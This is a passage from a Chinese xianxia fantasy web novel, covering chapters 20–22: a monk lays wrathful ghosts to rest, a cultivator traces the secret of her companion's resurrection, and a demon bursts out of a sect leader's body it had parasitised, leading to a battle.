他呆呆的望着,看着那团不成人形的血肉,就此失语,再也发不出声音。
“在这百年间,”郑河语气疲惫,“我用尽了办法也没能治好宗主,对他也是……疏于看顾。”
“他日夜守候在宗主身旁,看着他一日日衰败,自己却无能为力。内心如此煎熬,也难怪会信那种东西,走上邪路……”
郑河悲从心来,说到动情处,也难□□露出痛苦之色。
20. 自在随心
第九日。
大部分的邪阵都被清除,艮山境的事件即将完结。
而消失了许久的郑河再度出现,他从南海请来一位佛修大能。
大能慈悲,在听闻艮山境的惨案后,便携数名弟子前来,准备度化怨魂。
佛修大能不常现世,听闻此讯,不少凌霄宗弟子纷纷赶来观摩。
近段时间的变故难免让他们心生迷惘,便希望借此机会,从中感悟一二。
鹤端砚一行也在此列。
他从未见过佛修度化的本事,想瞧瞧,便与楚袖云一同围观。
大能不设坛,因心中有佛,不拒于外物。
在度化前,目光如蹁跹的落花,在人群中平视一圈。
视线微不可查的,在鹤端砚身上停驻一秒,又好似错觉般,转瞬即逝。
化解戾气,断绝执念,佛修手段柔和,最后诵念往生经文。
随着梵音唱响,金色经文浮于空中。
徘徊在死地,痛哭哀嚎的怨魂渐渐平息了怨气,最终化作光点消散,再入轮回。
事毕。
弟子们开始收拾法器,动作很轻,没人说话。
大能闭眸,久久立在原地,直到身后响起动静。
是修士降临,落于人后。
“慧德。”
无形的光幕罩住二人,声音无法穿透,闷闷的回响。
慧德旋身,双手合十,并不意外:“楚施主。”
二人明显是旧相识,但交情不深,会面时很是生疏。
他也不明白,楚袖云为何会突然找上他,但不妨碍说话深切:“数百载未见,施主变化很大。”
楚袖云不以为意:“是吗?”
慧德一见她,便想起曾经的楚袖云,也不知是感慨是叹息:“昔日施主受困于心,曾与我宗寻觅解脱之法,如今可是寻到了?”
“你为何会猜我寻到了?”楚袖云,“难不成,你认为我在朝着好的方向变化?”
修为大跌,邪咒缠身,这样一副尊容,也算好吗?
他为何会这样想?
慧德淡笑:“彼时是浮萍,此时是归舟。”
楚袖云:“哦?”
慧德:“我指的是心。”
心似浮萍无根,所以飘泊四海,无所依。
但她如今是归舟,是倦鸟。
绳子有形无形,系在她身,使游荡的孤舟回归港湾,倦鸟重归巢穴。
但慧德又说:“今日一见,其实不止你有变化。我观鹤君,才是脱胎换骨。”
鹤端砚舍弃前尘,早已重获新生。
变化如此之大,令慧德无法理解。
才过两百余年而已,这二人怎么好似翻天覆地了一般?
是这期间发生了什么吗?
楚袖云不与他交浅言深,并没有阐述往事,只道:“这是我与他的事,你不要向他提起曾经。”
她就是为此而来的。
慧德闻弦知雅意,应过此事。
但他也从中察觉到了什么。
“施主恐惧吗?”
“我?”
“我为何恐惧?”
“虽然不知缘由,但贫僧看得出,施主很恐惧鹤君与故人接触。”
楚袖云默了一瞬,又骤然发笑:“是吗?”
这情绪太过突然,慧德在瞬间,便意识到自己无意中说出的话,踩中了楚袖云的禁区。
她好像在极力隐瞒着一个秘密。
甚至连她自己,都没有理清情绪,没意识到自己有一些深埋着的恐惧。
慧德沉默的注视楚袖云,神色悲悯,如见红尘。
人世间的爱恨情仇,像密不透风的红线,将女修缠住。
她没有挣扎,清醒的沉沦着。
可纸终究包不住火。
终有一天,秘密也会浮出水面。
“施主有考虑过那天吗?”
慧德发问。
*
“在想什么?”
鹤端砚的声音响起。
在观摩结束后,众人打道回府。
深夜,鹤端砚从运转周天中脱离,发现楚袖云还在对着玉简垂思。
他总觉得楚袖云的情绪不对。
似乎是与慧德大师交涉后,她就老是走神,不知道在想什么。
此时与她搭话,也是不予多谈的表情,只摇摇头。
而楚袖云思考的,当然是鹤端砚复活的真相。
她一直很在意这件事,此前就探查过鹤端砚的神魂,却没有发觉他的记忆有异样,没有被清除或者动手脚的痕迹。
就如慧德所说的,脱胎换骨,重获新生了一般。
可要真这样,那还好些。
起码不必面临他恢复记忆的风险。
可如果不是呢?
如果鹤端砚有恢复记忆的可能呢?
那会怎么样?
楚袖云清楚答案。
鹤端砚的爱意会荡然无存。
他承袭了亡母的刚烈与血性,断然不会原谅想致自己于死地的人。
心魔远比她看得清现实。
它早就劝过楚袖云,趁早杀掉鹤端砚。
它深知,只要鹤端砚恢复记忆,那温情将不复存在。
徒留的只有仇恨。
满腔喷薄而出的仇恨。
玉简忽而亮了一下。
打断楚袖云的思绪。
她探入神识,发觉是慧德来讯,说的是叶风手里缴获的玉简之事。
楚袖云到底不是阵修,对阵法没有多少研究,但慧德不同,他白日里从楚袖云手中接过邪阵阵图后,便开始潜心钻研,总算是得到了结果。
【贫僧认为,这是一个复生大阵。】<
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p>【阵法以煞气为本源,聚煞凝形,其目的是令人死而复生。】
【施主请看阵纹与阵法罗列点位,邪阵主吞噬,而所有邪阵的点位相互连接,则共同构成一个大阵,两个阵法相互纠缠,将能量源源不断的供给进去,输送到阵眼,随即消失。】
【而眼下,这股庞大的能量还不知去向,虽然真凶伏法,但它的存在本身,便是隐患。】
楚袖云的目光还停在第一行。
复生大阵。
能令人死而复生?
她抬眼,凝视着鹤端砚,神色难以捉摸。
死而复生的人,她面前就有一位。
这二者有关联吗?
楚袖云思绪翻覆,最终还是决定即刻前往九嶷山,寻找鹤端砚复活的真相。
不然她无法心安。
此人起身,动作引来鹤端砚的注目。
“艮山境一事,即将尘埃落定。”
她话不疾不徐:“我有要事,要暂时离开。”
鹤端砚闻言,微微愣神,他微蹙起长眉,有几分难舍之情,又实在难以启齿。
好在楚袖云的话补充得很快。
“短则一日,长则三日,我便会回来。”
她说罢,停顿一秒,又半蹲下,与鹤端砚齐平:“这个你拿着。”
落入鹤端砚手中的,是一柄剑鞘。
剑鞘的原身是一棵树,在成为剑鞘后,与楚袖云相伴六百余年。
它温润细腻,被岁月打磨出柔和的光泽,其剑鞘上流动的金色液体,构筑成玄妙的符文与纹路,随主人心意而动,时而静谧流淌,时而暴虐沸腾。
“剑鞘?”
鹤端砚不明所以。
楚袖云:“剑鞘有藏锋之意,它又受符文加持,可护持你一二。”
鹤端砚垂首,指尖划过剑鞘细腻的表面,问道:“有名字吗?”
楚袖云的剑有名字。
“如意。”
她说:“我的道是‘自在随心’,它随了我的道,唤做如意。”
年少时,曾踏遍五湖四海,遍游修真界的楚袖云是桀骜不驯的天之骄子,她的剑如其名,令她称心如意,每每都能如愿,都能顺心快意。
所以她修的道,叫自在随心。
彼时的天之骄子如冉冉升起的太阳,将残存的阴影燃烧殆尽,她常怀喜悦心情,奔赴师兄的怀抱,被人庇护其中,无忧无虑得像个孩子。
她早该长大的。
早该明白,不是所有的事情都能让她称心如意。
楚袖云垂眸,鸦羽长睫颤动,覆盖瞳孔。
她低声耳语一声道别,便起身离去。
人消失于门外,被门掩盖,鹤端砚久久无法收回视线,眷恋与不舍之情撩动他的心弦,唯有手中的剑鞘能给予慰藉。
“如意。”
他念诵剑的名字。
21. 失序的时间 清晨。
清晨。
流光穿过大殿,飞越山峰,落在洞府前。
郑河步伐急促,几步迈进洞府,又眨眼间穿过亭台楼阁,进了内室。
“宗主!”
能让他紧迫的事情不多,宗主的苏醒也是其中一件。
此时,窗边负手站立的修士转过身来,含笑颔首,神情自然。
因为多年卧榻避光的缘故,萧玄山的面容有些苍白,他气息稀薄,胸膛微弱的起伏。
但今日的精神尚好,居然有力气踱步至窗边。
这本该是个好兆头。
可郑河一见他,心中便咯噔了一下。
以他的眼力,能瞧见萧玄山正不断朝外逸散出细微的灵力。
像是破了的水壶,便装不满水,只能不断外渗。
这是回光返照之像。
是修士身躯即将裂解天地时,无法抑制的颓势。
“生死有命,是以人力无可改变。”
郑河眼底的悲痛之色太明显,但萧玄山已经接受自己的结局,对此淡笑:“所以不必介怀。”
日出东方。
朝阳为山峦渡上融金色彩。
多年未见晨光的萧玄山被吸引,眺望几息后,又轻声道:“只可惜,我有未竟之事……”
一句话轻描淡写,却让郑河眼眶发热。
凌霄宗江河日下,叶风受戒身死,如今连宗主都要陨落……
“宗主。”
郑河苦守凌霄宗百年,时至今日,也不免对现状愧疚:“是我对不住您……”
他有心和他诉说叶风之事,可话哽在喉咙,逼都逼不出来,好半晌,才断断续续道:“风儿他,他走了歪路,被我给……给……”
话尽于此,萧玄山如何听不出叶风的下场。
他沉默良久,在听完整个事情的来龙去脉后,叹息一声,缓缓说道:“不怪你……”
“这些年来,都是你一人在苦苦支撑宗门,是我等对不住你……”
郑河痛苦摇头,悲痛异常。
而萧玄山已然下定决心:“我有意传道。”
或许是叶风的缘故,也或许是人之将死的缘故,萧玄山决定传道,让凌霄宗所有弟子前来听讲。
元婴大能对“道”的领悟,远超练气、筑基、金丹,而传道之事,更是可遇不可求的机缘。
悟性低的弟子,尚且能从中得益,而悟性高的修士,更能根据大能对道的感悟,摸索到其中的玄妙之处,使得日后的道途更加坦荡。
总之,此事对听讲的修士都有帮助。
萧玄山想到此处,又道:“可惜我无力去到殿前。你说,召宗门弟子前来,在洞府之内传道,如何?”
显然,宗主是要尽余力,哺育宗门弟子。
郑河自然不会不答应,他沉重的点头,表示自己去办,又忽而想起一件事:“此前风儿的事,还是因为那几位长黎山的弟子先有所察觉。”
当日上山时,只有秦无漪表明身份,所以在郑河看来,那群人大概都是长黎山的。
“我有意请他们和慧德大师一众前来。宗主您看,是否妥当?”
郑河的想法,很简单。
叶风一事的主力,其实还是秦无漪一行人。
在他们的努力下,真凶伏法,邪阵被清除,连枉死的凡人,都还以公道。
凌霄宗门规清正,公私分明。
不会包庇叶风,自然也不会对他们有怨言。
于情于理,都该有所表示。
而慧德大师,不远万里前来相助,也不可轻慢他们。
如今宗主苏醒,要传道于此,为表心意,自然也得请他们前来。
萧玄山闻言,淡淡一笑:“应当的。”
他点头应下,郑河便告辞,去准备传道大会的事去了。
室内仅剩一人。
萧玄山负手,望向窗外。
常绿的枝条繁茂,探窗而入。
那是月季。
得益于洞府的温度,和盆土中腐熟的鱼骨、内脏,它一如往日灿烂,色彩鲜艳,枝条繁茂。
在这样一个深秋,想让花盛开的方法,唯有汲取他人血肉为己用。
萧玄山站于原地,从身躯上逸散的灵力渡上月季。
灵力的洗涤,让花朵越发灿烂,随冷风摇动,娇艳欲滴。
*
弟子鱼贯而入,坐于庭前。
萧玄山的洞府内有山石河水,也有亭台楼阁,此次传道的地点,便是在开阔的庭院内。
秦无漪一众也受邀前来。
从郑河的邀约中,他们不难猜出,这次的传道,其实也是萧玄山的辞别,于是决定赴约。
正巧,在门前还遇上慧德大师。
大师领着几位弟子,与之打了照面,双方言笑晏晏,交谈一二,便一同进入其中。
今日的洞府,不似上次那般萧瑟清冷,来往弟子众多,几乎满座。
灵气也十分充沛,恍若涌动的云雾般缭绕在廊柱上。
大家在庭前见到萧玄山,对方正对几个弟子温声询问,抬首瞧见十几位修士,其中还掺着不少佛修。
人数众多,瞧得人眼花缭乱,他与众人淡笑示意,问道:“是慧德大师与秦小友一众么?”
众人点首应答,接着一一落座。
鹤端砚缀在末尾。
他性子清冷,对交际不甚热情,只道一声萧宗主。
谁料,对方在看到他的第一眼,当场顿住。
僵硬、震惊、狰狞、恐怖……
鹤端砚很难形容他的眼神。
那一刻,原本平静的、淡然的情绪被撕碎。
露出此人的本相。
一股巨力死死攥住鹤端砚。
那是虚弱的萧玄山,他以难以想象的力量握紧鹤端砚的双臂,然后做了一个很熟悉的动作。
摸骨龄。
他的神情开始变幻。
那不像是一宗之主所展现出的神采。
而是带着极度的愉悦,混杂着微妙的嫉妒、轻蔑与傲慢。
他的眼睛弯起。
那双眼睛纯然如稚子。
“你还活着。”
“不对,不对……”
“是死而复生……”
他听到对方呢喃,似恍然大悟,寻觅多年终得结果。
“原来双鱼在你身上。”
他笑起来。
如魔鬼露出狰狞面容。
鹤端砚听到细微的撕裂声。
像是衣物被撑开,承受不住而撕裂。
但真正裂开的是皮囊。
是萧玄山的皮囊。
从他的胸膛开始撕裂,一双湿漉漉的洁白手掌自破口攀爬。
鹤端砚看到少年的面容展现。
他的眉眼艳丽多情,是嗜血食肉的妖花,如破开蛋壳,脱身而出的长蛇,伴随着溢出的,庞大的邪气,一并遮蔽苍穹,令黑暗降临。
“没有法阵。”
万里之外。
楚袖云悬于高空,俯视山峦之景。
曾经的九嶷山高耸
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入云,而在百年前的一战后,它碎裂倒塌,巍峨不在。
神识扩散,笼罩整座山脉。
没有法阵,没有邪气,也没什么类似的屠村事件,这只是一片再寻常不过的山脉。
楚袖云落下,踩在顶峰的冰雪上。
确定鹤端砚的复活和艮山境的邪阵无关后,她准备去樵夫发现鹤端砚的那个山洞看看。
山洞覆雪,内里无光。
她走入其中,在冷而潮湿的洞穴中,见到一片奇异之景。
她看到一滴水从石壁下浮起,像蜗牛般缓慢的向上攀爬,没入泥土。
她看到飞速生长的藤蔓,上边是纠缠盛放的花朵、枯死褐色的枝条以及早已腐烂的根茎。
她踏入其中。
时间如紊乱的风暴,向她冲击。
一瞬间。
又好似上千年。
人的过去、现在、未来好像同时处在一个空间。
时间已然失序。
楚袖云抬手,附着在山洞内的,紊乱的时间法则被抽离,万物静止不动。
法则聚于半空,从一团乱麻恢复成熟悉的,从过去流向未来的河流。
在有序中,楚袖云调动河流,时间的力量开始蔓延,水滴再度落下,花朵凋零,根茎重生。
在万物变换的奇异之景里,她挑动过去的时间线,于是过去的虚影重现。
一年前。
十年前。
百年前。
她看到鹤端砚的身躯下坠,落入漆黑的洞穴。
他即将死去。
在消亡前,只剩一个念头。
【人士太苦太难,就此解脱也好。】
曾背负血海深仇的鹤端砚。
曾竭力求生,为报亡母之仇的鹤端砚。
他曾怀着不熄灭的复仇火焰,亲自葬送仇人的宗门,如今却难以升起再度复仇的念头。
被珍爱之人背弃的痛苦如此强烈,让他想要忘却。
他想。
可惜修士没有轮回。
不然他多希望能够舍弃一切,重活一次。
想要成为崭新的,一无所知的生命。
哪怕是只蜉蝣。
朝生暮死也好。
他就此失去生机。
时间缓慢的流动。
十年、二十年、三十年……
随着修士遗蜕逸散而出的力量,此地的时间越来越紊乱,终于,在八十多年后的一天。
黑白双鱼显现。
鱼儿盘旋游动,像是倒流的日晷,将刻度一点点拨正,令遗蜕回归至幼年时期。
一无所知的婴孩睁开眼。
生命崭新,再度回归人间。
虚影以鹤端砚被带走结束。
洞穴寂静无声。
只有水滴下落。
滴答。
滴答。
像在敲击心门。
她缓慢的眨眼,如从冬眠中苏醒的蛇,情绪在瞳孔中起起伏伏,又变作漆黑一片。
心魔分明还缩在识海里睡觉,楚袖云却犹如被心魔掌控般。
她的瞳孔内,燃烧起幽幽火光。
两点猩红,似疯魔无状。
在被负面情绪冲垮,险些自我放逐,当即堕魔的刹那,如意长剑震颤,发出激烈的剑鸣!
是剑鞘符文被激发,引动如意震颤。
她握住剑柄。
为人的意志再度占据上风,掌握躯体。
雷光闪烁。
眨眼间,人已消失不见。
22. 天生的妖魔
慧德曾说过,在复生大阵中,有股庞大的邪气被输送进阵眼,而后消失,不知所踪。
他不是没有想过去寻找,与楚袖云说过,又在和秦无漪等人的交谈中,透露一二。
但还未等人抽出时间仔细探寻,事情便出了变故。
在庞大的邪气脱离萧玄山身体的那一刻,鹤端砚才突然意识到,这个卧床多年的宗主,其实颇具疑点。
已知,叶风误入禁地,得到内有复生大阵的玉简,并有所动作。
而以叶风的谨慎周密,是不可能轻信一个来路不明的法阵,说什么能实现愿望的屁话。
所以他必然是尝试过,发现这个阵法确实能够做到这点,才开始筹备多年的行动的。
但是。
一个吸纳邪气的邪阵,如何实现“请让师父恢复身体”的愿望呢?
答案不言而喻。
那些送入阵眼,又离奇消失的庞大邪气,早已哺给萧玄山,才得以令他延续生命。
难怪,在阵法被清除干净后,萧玄山会有回光返照之像。
失去了邪气供给,他当然活不久。
只是……
鹤端砚望着那个湿漉漉的人形。
他像是条破壳出生的美人蛇,与邪气共生,宛如天生的妖魔。
这么多年来……
被邪阵哺育,得以存活下来的人,真的是萧玄山吗?
剑比心快。
冷光呼啸,在眨眼间,杀意与剑光锋芒毕露,直逼妖魔头颅。
叮!
剑尖落空,入木三分,钉死在廊柱。
妖魔落于一丈开外,颊边断发悠悠飘落。
“啧。”
剑意凛冽,不仅断掉头发,还破开皮肤。
妖魔面上血液如滚珠,滴滴下落,心情被毁得一塌糊涂。
“师伯心真狠。”
他瞳仁骤缩,狠毒怨恨之色一闪而过,还妄图恶心鹤端砚:“与师侄许久才得见上一面,居然连招呼都不打一声,就以刀剑相向。”
谢缠早就清楚鹤端砚这人的本性了。
可恨可憎的双面人!
在楚袖云面前一套,在其余人面前又是另一套。
装什么雅致温柔!
分明就冷如冰霜,心似玄铁!
凭什么还得人依赖、爱重?
他心里淌着毒,难掩嫉妒。
但落在鹤端砚耳中,只觉疯言疯语,无需在意。
叽里呱啦说什么师伯师侄的,听不懂,根本听不懂。
他从廊柱里拔出剑,杀意再度显现。
四面呼声云动,此时才将将反应过来。
没办法。
谢缠破体而出的场面太过震撼,在剧烈的冲击下,大家头脑空白,好悬没停滞思考。
唯有郑河。
郑河如遭雷劈,死死盯着谢缠。
每一个字,都像是从牙缝中硬生生挤出来一般:“你没死!”
他认识这张脸!
他认识这张脸!
那个百年前,在他们后山禁地,被重伤,又被杀死的魔头!
他没死!
谢缠哈哈大笑,笑容灿烂夺目:“很惊讶吗?”
“你知道,在重伤萧玄山时,我的残魂便附着在他体内,日夜不断的蚕食他,才终于熬到今日,得以重生吗?”
他的每一句话,都像是锋利的刀子,扎在人心口。
噗嗤噗嗤,扎得鲜血淋漓。
谢缠对这群拖住自己,让自己无法回归魔域,最终只能死去的人报以深切的仇恨。
他身形化雾,再度躲过鹤端砚的攻击,又笑得恶意满满:“其实活下来的,一直是我啦。”
苏醒的萧玄山,与郑河对话的萧玄山,说着要传道,聚集宗门弟子的萧玄山。
全是谢缠。
但他的虚弱不作假。
在叶风暴露,邪阵被逐一清除后,他便失去生命源泉,只能死去。
这叫他如何甘心?
他还有未竟之事!他如何甘心去死!
在邪气腾空,化为遮天蔽日的阴影时,他俯视这群修士,如观蝼蚁。
“请安心的,顺从的,化作我主的养料。”
他如吟唱诗歌,吐出痴狂的、疯癫的话语。
“令他回归吧。”
藏在洞府中的邪阵源头被启动,整个洞府如上锁的牢笼,被邪气包裹,倒映着绯红的凶光。
那些邪气犹如剧毒毒水,沾上修士身躯,便令人在转瞬间,惨叫着被吞噬,化成尸骸!
在哀嚎四起,恍若鬼蜮的场景下,剑光再度袭来!
谢缠出掌,汹涌的邪气淹没鹤端砚。
“你不过金丹之躯,又如何抵挡这吞噬之力呢?”
谢缠似讥似讽,傲慢的注视着那团黑气。
好似已经看穿鹤端砚的结局。
“既有双鱼力量,便识相些,将他献祭给我主,让他得偿所愿。”
然而。
下一刻。
灼热的雷光迸溅!
金色刺穿黑气,势如破竹!
直直轰在谢缠躯体上!
他凄厉惨叫,竟直接被这金光摧毁大半个身躯,成为血肉模糊的一团,狠狠摔在地上。
他在剧痛中回头,面色狰狞可怖,在看到鹤端砚手中散发金光的剑鞘后,第一次难以抑制的露出惊怒恐惧来。
是师父。
是她的剑鞘!
思绪混乱的谢缠想不明白,这两个人怎么又凑一块去了!
“你……”
谢缠气得发抖:“你没有自尊心吗?被那样对待,居然也还能容忍她?”
又开始了……
这次也不说什么师伯师侄,直接你我她。
鹤端砚举剑凝视他,终于开了尊口:“她是谁?”
*
楚袖云破开禁制,走入洞府时,距离剑鞘共鸣,已过了两个时辰。
九嶷山不在艮山境内,她跨境赶来,即便是用上缩地成寸,也花了足足两个时辰。
两个时辰。
对修士来说,生死只在一瞬间。
两个时辰,都够给鹤端砚办葬礼了。
受情绪所迫,楚袖云半是疯魔半是清醒,心情很是不妙。
不过好在如意一直在响,这证明剑鞘始终尽到职责,兢兢业业的工作着。
一踏入洞府,楚袖云就察觉不对。
整个洞府被一股阴邪的力量笼罩着,它吞噬着这片区域的灵气、生机,让一切变得灰暗萧条。
是复生大阵。
它由两个邪阵嵌套组成,一个主吞噬,一个输送力量。
可惜情况危急,楚袖云无心辨识,即将复活的人到底是谁。
她受如意驱使,朝着剑鞘的位置而去,一路上,看到好几个血淋淋的尸骸。
等到庭前时,更是一副凌乱景象,破碎的廊柱,凌乱的蒲团,还有……
一张人皮。
那是萧玄山。
他如同被虫子蛀空了,只剩一层半透明的皮,胸前还有一处巨大的破口,好像,好像有什么东西从中爬出来了。
寄生。
念头一闪而过,以楚袖云的见多识广,立马便猜出□□。
被人寄生、蚕食
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,最后被寄宿者完全掌握躯体,彻底沦为容器。
为大道而战,心怀苍生的萧玄山,最后居然落得这种下场。
被如此下作,卑劣的手段摧毁,真是令人作呕。
楚袖云难得生出厌恶情绪,弹指烧掉那具空壳。
在燃烧的黑灰里,此人驻足,完成一场简陋的葬礼,随即再度离开。
剑鞘所在之地并不隐蔽,是一片空地。
大概是事发突然,大家来不及撤离,所以离庭院很近,只在十丈开外。
剑鞘散发金光,它收放自如,化作金色的护盾,庇护着众人。
可众人之中,没有鹤端砚。
楚袖云顿在原地。
“前辈!”忙于施救的秦无漪发现楚袖云,身旁的小禾立马起身,将她拉住。
一只手握紧小禾。
是楚袖云的手,她的神色虚无,好像积压了很多情绪,无法宣泄。
此人缓声:“他人呢?”
一提这茬,小禾便露出急迫之色,连忙将情况全盘托出。
原来,在妖魔现世后,鹤端砚是占据上方的。
但架不住谢缠的狡诈,在落败后直接调动全部邪气攻击其他人。
鹤端砚如何能坐视不管,只得先庇护众人,再做打算。
“剑鞘的力量并非取之不尽。”小禾忧愁道:“这个护盾迟早要被邪气攻破,所以为了破阵,也为了杀死那魔物,砚哥已经离开了。”
作为金丹修士,他与元婴期的慧德、金丹郑河是唯三的强者。
可惜,郑河被谢缠刺激,情绪失控,气血翻涌,险些走火入魔,现在还在一旁打坐,情况十分危急。
而慧德……
“大师在前期为了保护其他人,深受邪气侵蚀。”
秦无漪满手是血,身旁陈列着许多受伤痛呼的修士,其中最为严重的,便是慧德,一身佛衣血迹斑斑。
楚袖云将清心咒钉入郑河识海,又掏出丹药,扔给秦无漪:“他朝哪个方向离开?”
小禾抬手:“西面。”
她指向的地点,在层叠的楼阁中。
修士居所四通八达,几乎每一间房屋都相互连通,鹤端砚紧随谢缠逃离的脚步离开,闯入迷宫般的房屋中,早已看不见在哪。
小禾只知道,是朝着西面的房屋去的。
她话音未落,楚袖云便没入洞开的房屋,消失在人前。
她在黑洞洞的屋子里穿梭。
每一扇打开的门,都预示着有人从这走过。
前人逃亡,后人追捕。
战斗痕迹遍布许多房间。
通过现场,楚袖云几乎能还原那个被追杀的前人的所有对敌手段。
首先是邪气。
邪气中蕴藏的吞噬之力,不仅能腐蚀修士皮肉,更能实质化,化作绵密的长针,如暴雨般弹射而出,洞穿了室内的屏风。
其次便是邪术。
咒杀、御鬼、乃至动用了能扭曲空间的邪法,妄图借由这些邪术,杀死、拖延对手的脚步。
最后便是邪阵。
邪阵位于西面,和此前的屠村阵法一样,属金。
金在五脏中指代肺部。
肺藏魄,而金过盛,易使人恍惚错乱,陷入幻觉。
前人靠着三重手段,与鹤端砚厮杀。
可鹤端砚的道心多么坚定,根本无法动摇。
楚袖云拂开珠帘,在恍若没有尽头的房间里行走。
在她脚下所踏足的地板上,是深深的剑痕。
剑痕拖曳出刺眼的痕迹,不知重伤了谁。
令血液泼墨,飞溅在墙壁。